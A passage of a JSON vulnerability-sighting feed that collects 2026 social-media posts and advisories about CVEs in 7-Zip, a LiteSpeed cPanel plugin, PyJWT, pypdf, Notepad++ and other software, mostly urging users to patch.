"source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mmvwjfgzfg2c", "content": "\ud83d\udd17 CVE : CVE-2026-1402, CVE-2026-2601, CVE-2026-2710, CVE-2026-4868, CVE-2026-5296, CVE-2026-6713, CVE-2026-8716", "creation_timestamp": "2026-05-28T11:35:07.922586Z"}, {"uuid": "f95a0425-53b3-48c2-a94e-e2d6f184d818", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/0890e4bfa2fe1b9db6ae1ced5139db32", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd73Testing**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\ud83e\udd73Testing**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83e\udd73Testing**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n \n- **Misc**\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)", "creation_timestamp": "2026-05-28T12:06:54.000000Z"}, {"uuid": "a0ebf759-102b-44b9-ba87-19e27f5a8ed2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://infosec.exchange/users/beyondmachines1/statuses/116651148380377538", "content": "Critical 7-Zip Vulnerability Allows Remote Code Execution via NTFS Handler\n7-Zip version 26.00 and earlier contain a critical heap buffer overflow (CVE-2026-48095) in the NTFS handler that allows attackers to execute arbitrary code via a crafted archive. The flaw is extension-agnostic and can be triggered simply by opening a malicious file.\n**If you use 7-Zip, update to version 26.01 or later immediately. Versions 26.00 and earlier let attackers take over your system just by opening a malicious archive. Until you've updated, do not open any archive or disk image files from untrusted or unexpected sources, regardless of the file extension.**#cybersecurity #infosec #advisory #vulnerabilityhttps://beyondmachines.net/event_details/critical-7-zip-vulnerability-allows-remote-code-execution-via-ntfs-handler-2-b-s-s-0/gD2P6Ple2L", "creation_timestamp": "2026-05-28T12:45:50.503425Z"}, {"uuid": "24045840-3c60-4eeb-b068-adb23f1d89d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmw6t4oxtu2l", "content": "2/ \u26a0\ufe0f URGENT PATCH: CVE-2026-48172 in LiteSpeed cPanel Plugin (CVSS 9.8). Any cPanel user = root access to the whole server. CISA mandated patching by MAY 29. Millions of shared hosting servers potentially compromised.", "creation_timestamp": "2026-05-28T14:03:58.959863Z"}, {"uuid": "ff2a05c9-842b-43a9-a4c5-3cfe91f5be2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmw6t4ok6c2l", "content": "2/ \u26a0\ufe0f URGENT PATCH: CVE-2026-48172 in LiteSpeed cPanel Plugin (CVSS 9.8). Any cPanel user = root access to the whole server. CISA mandated patching by MAY 29. Millions of shared hosting servers potentially compromised.", "creation_timestamp": "2026-05-28T14:03:44.876418Z"}, {"uuid": "c36df1ac-e61a-42b6-b949-e4b3547d4566", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmw6t4osxk2l", "content": "2/ \u26a0\ufe0f URGENT PATCH: CVE-2026-48172 in LiteSpeed cPanel Plugin (CVSS 9.8). Any cPanel user = root access to the whole server. CISA mandated patching by MAY 29. Millions of shared hosting servers potentially compromised.", "creation_timestamp": "2026-05-28T14:03:46.513633Z"}, {"uuid": "69db4607-54d6-4b99-be5d-93bb9ded7385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmw6t4otws2l", "content": "2/ \u26a0\ufe0f URGENT PATCH: CVE-2026-48172 in LiteSpeed cPanel Plugin (CVSS 9.8). Any cPanel user = root access to the whole server. CISA mandated patching by MAY 29. Millions of shared hosting servers potentially compromised.", "creation_timestamp": "2026-05-28T14:03:48.316612Z"}, {"uuid": "cd553d52-b5e0-4d83-afc9-5c3cb6f58783", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmw6t4ouw22l", "content": "2/ \u26a0\ufe0f URGENT PATCH: CVE-2026-48172 in LiteSpeed cPanel Plugin (CVSS 9.8). Any cPanel user = root access to the whole server. CISA mandated patching by MAY 29. Millions of shared hosting servers potentially compromised.", "creation_timestamp": "2026-05-28T14:03:50.014110Z"}, {"uuid": "1072a0bf-4fd0-426d-8a02-345024b7a160", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmw6t4ovvc2l", "content": "2/ \u26a0\ufe0f URGENT PATCH: CVE-2026-48172 in LiteSpeed cPanel Plugin (CVSS 9.8). Any cPanel user = root access to the whole server. CISA mandated patching by MAY 29. Millions of shared hosting servers potentially compromised.", "creation_timestamp": "2026-05-28T14:03:51.742695Z"}, {"uuid": "d966c83a-6cff-4055-ad9d-7da63c754881", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmw6t4owuk2l", "content": "2/ \u26a0\ufe0f URGENT PATCH: CVE-2026-48172 in LiteSpeed cPanel Plugin (CVSS 9.8). Any cPanel user = root access to the whole server. CISA mandated patching by MAY 29. Millions of shared hosting servers potentially compromised.", "creation_timestamp": "2026-05-28T14:03:53.591558Z"}, {"uuid": "2c581619-4465-4f95-8f56-8e94f771e0c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmw6t4oxts2l", "content": "2/ \u26a0\ufe0f URGENT PATCH: CVE-2026-48172 in LiteSpeed cPanel Plugin (CVSS 9.8). Any cPanel user = root access to the whole server. CISA mandated patching by MAY 29. Millions of shared hosting servers potentially compromised.", "creation_timestamp": "2026-05-28T14:03:55.346302Z"}, {"uuid": "d2aa4fa3-3ee1-46ac-8271-4bc085d1d360", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mmw6t4oxtt2l", "content": "2/ \u26a0\ufe0f URGENT PATCH: CVE-2026-48172 in LiteSpeed cPanel Plugin (CVSS 9.8). Any cPanel user = root access to the whole server. CISA mandated patching by MAY 29. Millions of shared hosting servers potentially compromised.", "creation_timestamp": "2026-05-28T14:03:57.041229Z"}, {"uuid": "08025be9-d446-41ec-b7da-90fceb47ca04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://mastodon.social/ap/users/115426718704364579/statuses/116652825312982674", "content": "\ud83d\udcf0 CISA Mandates Urgent Patch for Actively Exploited LiteSpeed cPanel Flaw Granting Root Access\n\u26a0\ufe0f CRITICAL ALERT: CISA adds LiteSpeed cPanel plugin flaw (CVE-2026-48172) to its KEV catalog. The bug allows for root access and is actively exploited. Patch immediately! #CVE #LiteSpeed #cPanel #CyberSecurity #PatchNow\n\ud83c\udf10 cyber[.]netsecops[.]io\n\ud83d\udd17 https://cyber.netsecops.io/articles/cisa-warns-of-actively-exploited-litespeed-cpanel-plugin-flaw/?utm_source=mastodon&utm_medi\u2026", "creation_timestamp": "2026-05-28T15:08:05.625781Z"}, {"uuid": "fc5216d8-c0c3-434f-be70-8cf1f632c6f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/netsecio.bsky.social/post/3mmwchl327z2c", "content": "\u26a0\ufe0f CRITICAL ALERT: CISA adds LiteSpeed cPanel plugin flaw (CVE-2026-48172) to its KEV catalog. The bug allows for root access and is actively exploited. Patch immediately! #CVE #LiteSpeed #cPanel #CyberSecurity #PatchNow\n\n\ud83c\udf10 cyber[.]netsecops[.]io", "creation_timestamp": "2026-05-28T15:08:52.185085Z"}, {"uuid": "c02b3780-04f4-43d4-9719-2f80d41cf495", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48736", "type": "seen", "source": "https://gist.github.com/FR-Flo/217cd12d078fe09fbb370bc8f9eac906", "content": "\ud83e\udd84 A-Team\n--------\n\n- **Trello**\n    - [FEAT-0007-01 \u2014 Enrichissement donn\u00e9es vendeur et plateforme](https://trello.com/c/WBruFiCS/2298-feat-0007-01-enrichissement-donn%C3%A9es-vendeur-et-plateforme) **\ud83e\udd73Testing**\n        - *Add complete toggleable invoice generation* [\\#7405](https://github.com/Wishibam/Marketplace-api/pull/7405)\n \n\ud83d\udcaa Les Muscl\u00e9.e.s\n----------------\n\n- **Trello**\n    - [Page Dashboard - Il manque la notion de Mono/Multi dans la liste des missions.](https://trello.com/c/LPCoV4qR/1934-page-dashboard-il-manque-la-notion-de-mono-multi-dans-la-liste-des-missions) **\ud83c\udf89 Reviewed pas Merg\u00e9**\n        - *fix(wms): dashboard wms task mono/multi* [\\#7179](https://github.com/Wishibam/Marketplace-api/pull/7179)\n    - [Marques Av - Affichage du centre (tag) sur les Exp\u00e9ditions en cas de multi-shipping \u2013 Marketplace / OMS](https://trello.com/c/f65hfaci/2336-marques-av-affichage-du-centre-tag-sur-les-exp%C3%A9ditions-en-cas-de-multi-shipping-marketplace-oms) **\ud83e\udd73Testing**\n        - *feat(picking): shipment inventory address name* [\\#7369](https://github.com/Wishibam/Marketplace-api/pull/7369)\n    - [MP - Afficher le coupon utilis\u00e9 sur les commandes](https://trello.com/c/w1kVe5oZ/2328-mp-afficher-le-coupon-utilis%C3%A9-sur-les-commandes) **\ud83e\udd73Testing**\n        - *feat(order): store, expose and search promotion coupon code from Sylius* [\\#7404](https://github.com/Wishibam/Marketplace-api/pull/7404)\n    - [Suivi des dates d\u2019ajout produits \u2013 Corner](https://trello.com/c/rMSaEYBw/2370-suivi-des-dates-dajout-produits-corner) **\ud83e\udd73Testing**\n        - *feat(corner): add created\\_at to products\\_by\\_corner* [\\#7425](https://github.com/Wishibam/Marketplace-api/pull/7425)\n    - [Mapping corner - Mode expert -> autoriser le null](https://trello.com/c/mPnnplUd/2368-mapping-corner-mode-expert-autoriser-le-null) **\ud83e\udd73Testing**\n        - *fix(mapping): treat null return in expert mode as unmapped column* [\\#7427](https://github.com/Wishibam/Marketplace-api/pull/7427)\n \n- **Misc**\n    - *:bug: fix(deps): bump symfony 6.4.41 (CVE-2026-48736, -48784, -48489)* [\\#7493](https://github.com/Wishibam/Marketplace-api/pull/7493)\n    - *fix(migration): created\\_at before setting NOT NULL on products\\_by\\_corner* [\\#7495](https://github.com/Wishibam/Marketplace-api/pull/7495)\n    - *:bug: fix: match GMC offer\\_id via Sylius variant code mapping* [\\#7497](https://github.com/Wishibam/Marketplace-api/pull/7497)\n    - *:bug: fix(deps): bump twig/twig 3.27.0 (5 sandbox CVEs)* [\\#7498](https://github.com/Wishibam/Marketplace-api/pull/7498)\n    - *fix(productList): retailer grouped rov controller option attribute* [\\#7500](https://github.com/Wishibam/Marketplace-api/pull/7500)", "creation_timestamp": "2026-05-28T15:40:16.000000Z"}, {"uuid": "903f1fe1-a649-45fc-8ae4-7741fcd20794", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48800", "type": "seen", "source": "https://www.acn.gov.it/portale/w/notepad-poc-pubblici-per-le-cve-2026-48800-cve-2026-48778-e-cve-2026-48770", "content": "Disponibili Proof of Concept (PoC) per le CVE-2026-48800, CVE-2026-48778 e CVE-2026-48770 \u2013 gi\u00e0 sanata dal vendor \u2013 presenti nel software \u201cNotepad++\u201d, noto editor di testo avanzato per Windows. Tali vulnerabilit\u00e0, qualora sfruttate, potrebbero consentire ad un utente malintenzionato con accesso locale di eseguire codice arbitrario e compromettere la disponibilit\u00e0 del servizio sui sistemi target.", "creation_timestamp": "2026-05-28T12:51:30.000000Z"}, {"uuid": "273dea79-48ba-438e-af53-0eddb7969158", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48778", "type": "seen", "source": "https://www.acn.gov.it/portale/w/notepad-poc-pubblici-per-le-cve-2026-48800-cve-2026-48778-e-cve-2026-48770", "content": "Disponibili Proof of Concept (PoC) per le CVE-2026-48800, CVE-2026-48778 e CVE-2026-48770 \u2013 gi\u00e0 sanata dal vendor \u2013 presenti nel software \u201cNotepad++\u201d, noto editor di testo avanzato per Windows. Tali vulnerabilit\u00e0, qualora sfruttate, potrebbero consentire ad un utente malintenzionato con accesso locale di eseguire codice arbitrario e compromettere la disponibilit\u00e0 del servizio sui sistemi target.", "creation_timestamp": "2026-05-28T12:51:30.000000Z"}, {"uuid": "fc5b05c9-02bb-4b30-8e6f-759b601eb14e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48770", "type": "seen", "source": "https://www.acn.gov.it/portale/w/notepad-poc-pubblici-per-le-cve-2026-48800-cve-2026-48778-e-cve-2026-48770", "content": "Disponibili Proof of Concept (PoC) per le CVE-2026-48800, CVE-2026-48778 e CVE-2026-48770 \u2013 gi\u00e0 sanata dal vendor \u2013 presenti nel software \u201cNotepad++\u201d, noto editor di testo avanzato per Windows. Tali vulnerabilit\u00e0, qualora sfruttate, potrebbero consentire ad un utente malintenzionato con accesso locale di eseguire codice arbitrario e compromettere la disponibilit\u00e0 del servizio sui sistemi target.", "creation_timestamp": "2026-05-28T12:51:30.000000Z"}, {"uuid": "873d7a38-54e8-444e-ad5d-0d84bd20eda5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://www.acn.gov.it/portale/w/7-zip-poc-pubblico-per-lo-sfruttamento-della-cve-2026-48095", "content": "Disponibile un Proof of Concept (PoC) per lo sfruttamento della CVE-2026-48095 \u2013 gi\u00e0 sanata dal vendor \u2013 presente in 7-Zip, nota applicazione open source per la gestione degli archivi compressi.", "creation_timestamp": "2026-05-28T13:08:16.000000Z"}, {"uuid": "0dccc110-b203-4a63-b2bc-5ddccbf57c49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48524", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmwjprwno32c", "content": "CVE-2026-48524 - PyJWT: PyJWKClient unbounded JWKS endpoint requests via attacker-controlled kid values (DoS)\nCVE ID : CVE-2026-48524\n \n Published : May 28, 2026, 4:16 p.m. | 15\u00a0minutes ago\n \n Description : PyJWT is a JSON Web Token implementation in Python. Prior to 2.13.0, P...", "creation_timestamp": "2026-05-28T17:18:42.980532Z"}, {"uuid": "be3899d9-c7ec-4a21-bf42-216c84edbfb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48155", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmwk6k2inb2p", "content": "CVE-2026-48155 - pypdf: Possible large memory usage for large offsets for layout mode text\nCVE ID : CVE-2026-48155\n \n Published : May 28, 2026, 4:16 p.m. | 15\u00a0minutes ago\n \n Description : pypdf is a free and open-source pure-python PDF library. Prior to 6.12.0, an attacker who...", "creation_timestamp": "2026-05-28T17:26:57.817533Z"}, {"uuid": "e4a04e74-04b8-40d0-9326-06f325734af0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48156", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmwkejpygx2o", "content": "CVE-2026-48156 - pypdf: Possible long runtimes for zero-only width values in cross-reference streams\nCVE ID : CVE-2026-48156\n \n Published : May 28, 2026, 4:16 p.m. | 15\u00a0minutes ago\n \n Description : pypdf is a free and open-source pure-python PDF library. Prior to 6.12.0, an at...", "creation_timestamp": "2026-05-28T17:30:19.178549Z"}, {"uuid": "c45639e4-1719-4798-a87d-e4f9e0da5462", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48526", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmwksx74os2e", "content": "CVE-2026-48526 - PyJWT: Public-key JWK accepted as HMAC secret enables forged HS256 tokens when mixed families are allowed\nCVE ID : CVE-2026-48526\n \n Published : May 28, 2026, 4:16 p.m. | 15\u00a0minutes ago\n \n Description : PyJWT is a JSON Web Token implementation in Python. Prior...", "creation_timestamp": "2026-05-28T17:38:22.790548Z"}, {"uuid": "ea056b43-3f36-4023-b0c2-be8378982c6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48523", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmwl3vmqup2r", "content": "CVE-2026-48523 - PyJWT: Algorithm allow-list bypass when decoding with `PyJWK` / `PyJWKClient` keys\nCVE ID : CVE-2026-48523\n \n Published : May 28, 2026, 4:16 p.m. | 15\u00a0minutes ago\n \n Description : PyJWT is a JSON Web Token implementation in Python. From 2.9.0 to 2.12.1, there ...", "creation_timestamp": "2026-05-28T17:43:23.255339Z"}, {"uuid": "6120e7f4-67dc-4baa-9b25-dde308a13b94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48525", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmwleu26lh2k", "content": "CVE-2026-48525 - PyJWT: Unauthenticated DoS via unbounded Base64URL decoding of unused payload segment in b64=false detached JWS\nCVE ID : CVE-2026-48525\n \n Published : May 28, 2026, 4:16 p.m. | 15\u00a0minutes ago\n \n Description : PyJWT is a JSON Web Token implementation in Python....", "creation_timestamp": "2026-05-28T17:48:23.732898Z"}, {"uuid": "d412ee9d-9fef-437a-a608-1ad70b95b8e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48522", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmwlnshmtl2k", "content": "CVE-2026-48522 - PyJWKClient: missing scheme allowlist enables SSRF + token forgery via file://, ftp://, data: schemes\nCVE ID : CVE-2026-48522\n \n Published : May 28, 2026, 4:16 p.m. | 15\u00a0minutes ago\n \n Description : PyJWT is a JSON Web Token implementation in Python. Prior to ...", "creation_timestamp": "2026-05-28T17:53:23.839388Z"}, {"uuid": "7f59f474-75ef-4adc-956c-0c0387babde6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48735", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mmwlwqz37x2v", "content": "CVE-2026-48735 - pypdf: Manipulated XMP metadata streams can exhaust RAM\nCVE ID : CVE-2026-48735\n \n Published : May 28, 2026, 4:16 p.m. | 15\u00a0minutes ago\n \n Description : pypdf is a free and open-source pure-python PDF library. Prior to 6.12.1, an attacker who uses this vulnera...", "creation_timestamp": "2026-05-28T17:58:24.410572Z"}, {"uuid": "a9f03d2c-bbec-4b96-98e7-fd1d1b9f91ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-4800", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/117041779065695846", "content": "Some increased actor activities are shown targeting Lodash (CVE-2026-4800) https://vuldb.com/vuln/354499/cti", "creation_timestamp": "2026-08-05T07:43:38.788172Z"}, {"uuid": "04c525c8-c27d-40eb-a37f-322e06ffd6c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48116", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mmx4t5whs227", "content": "\ud83d\udfe0 CVE-2026-48116 - High (7.5)\n\nAnythingLLM is an application that turns pieces of content into context that any LLM can use as r...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48116/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-05-28T23:00:39.998531Z"}, {"uuid": "ffab4aef-c7d9-4aae-80a6-6f0ca4c65fa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48026", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msjxyg7y3f2b", "content": "\ud83d\udfe0 CVE-2026-48026 - High (8.7)\n\nlakeFS is an open-source tool that transforms object storage into a Git-like repositories. Prior ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48026/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-08T02:00:39.290494Z"}, {"uuid": "d2f6e973-08f8-49dd-b9d3-657f13d7bc7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48039", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3msk3ddwnin2e", "content": "CRITICAL: CVE-2026-48039 in meta-ads-mcp (<1.0.109) lets attackers invoke MCP tools & leak access tokens \u2014 no auth needed. Upgrade to 1.0.109+ now. https://radar.offseq.com/threat/cve-2026-48039-cwe-287-improper-authentication-in-pipeboard-co-meta-ads-mcp-cda3b9551f498ab7 #OffSeq #vulnerability #...", "creation_timestamp": "2026-08-08T03:00:26.853175Z"}, {"uuid": "cbfe2c8d-465e-49b8-8f60-0a85be6eb693", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48039", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3msk3dk3c572w", "content": "\ud83d\udd34 CVE-2026-48039 - Critical (9.1)\n\nMeta Ads MCP is a Model Context Protocol (MCP) server that lets AI assistants run Meta Ads. Prior...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-48039/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-08T03:00:33.281265Z"}, {"uuid": "66199a0b-5bc7-4210-8edc-0cccc77ac44d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48710", "type": "published-proof-of-concept", "source": "Telegram/J7UFmymbxIn8KumOrkK4VS44HM4Alboab9CCQoPlnVBTDCw", "content": "", "creation_timestamp": "2026-08-12T08:00:04.583958Z"}, {"uuid": "74440894-e7c0-48a8-a44a-4d4325c06cb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48095", "type": "seen", "source": "https://bsky.app/profile/johonotodai.bsky.social/post/3mmy75qi4js2i", "content": "7-Zip\u306b\u30d5\u30a1\u30a4\u30eb\u3092\u958b\u304f\u3060\u3051\u3067\u4efb\u610f\u30b3\u30fc\u30c9\u5b9f\u884c\u304c\u53ef\u80fd\u306a\u8106\u5f31\u6027\uff08CVE-2026-48095\uff09\u304c\u516c\u8868\u3055\u308c\u307e\u3057\u305f\u3002\n\u4fee\u6b63\u7248v26.01\u306f\u30ea\u30ea\u30fc\u30b9\u6e08\u307f\u3067\u3059\u304c\u3001\u81ea\u52d5\u66f4\u65b0\u6a5f\u80fd\u306f\u5b58\u5728\u3057\u307e\u305b\u3093\u3002\n\nMS\u306e\u6b63\u898f\u8a8d\u8a3c\u30e1\u30fc\u30eb\u304c\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\u306b\u60aa\u7528\u3055\u308c\u308b\u624b\u53e3\u3068\u3001SSD\u306e\u632f\u52d5\u304b\u3089\u95b2\u89a7\u884c\u52d5\u3092\u8aad\u307f\u53d6\u308b\u300cFROST\u300d\u653b\u6483\u3082\u89e3\u8aac\u3057\u3066\u3044\u307e\u3059\u3002\n\n\u5bfe\u51e6\u6cd5\u3092\u307e\u3068\u3081\u3066\u3044\u307e\u3059\u3002\n\nyoutu.be/X1YLEnxte_k\n\n#7Zip\u8106\u5f31\u6027 #\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3 #\u30d5\u30a3\u30c3\u30b7\u30f3\u30b0\nThree security flaws you should know.", "creation_timestamp": "2026-05-29T09:15:04.638644Z"}, {"uuid": "ff55865e-fad5-404d-bcf6-a10b5935559b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/diesec.bsky.social/post/3mmyezng4n623", "content": "CVE-2026-48172 (CVSS 10.0): any cPanel user can run scripts as root via the LiteSpeed plugin.\nCISA KEV added May 26. Active exploitation confirmed. \n\nUpdate to plugin version 2.4.5 now.\nFederal deadline June 16.\n\n#CyberSecurity #CISA #WebHosting", "creation_timestamp": "2026-05-29T11:00:05.240641Z"}, {"uuid": "91c1aff5-c42d-4484-bd40-029a9f0bced3", "vulnerability_lookup_origin": 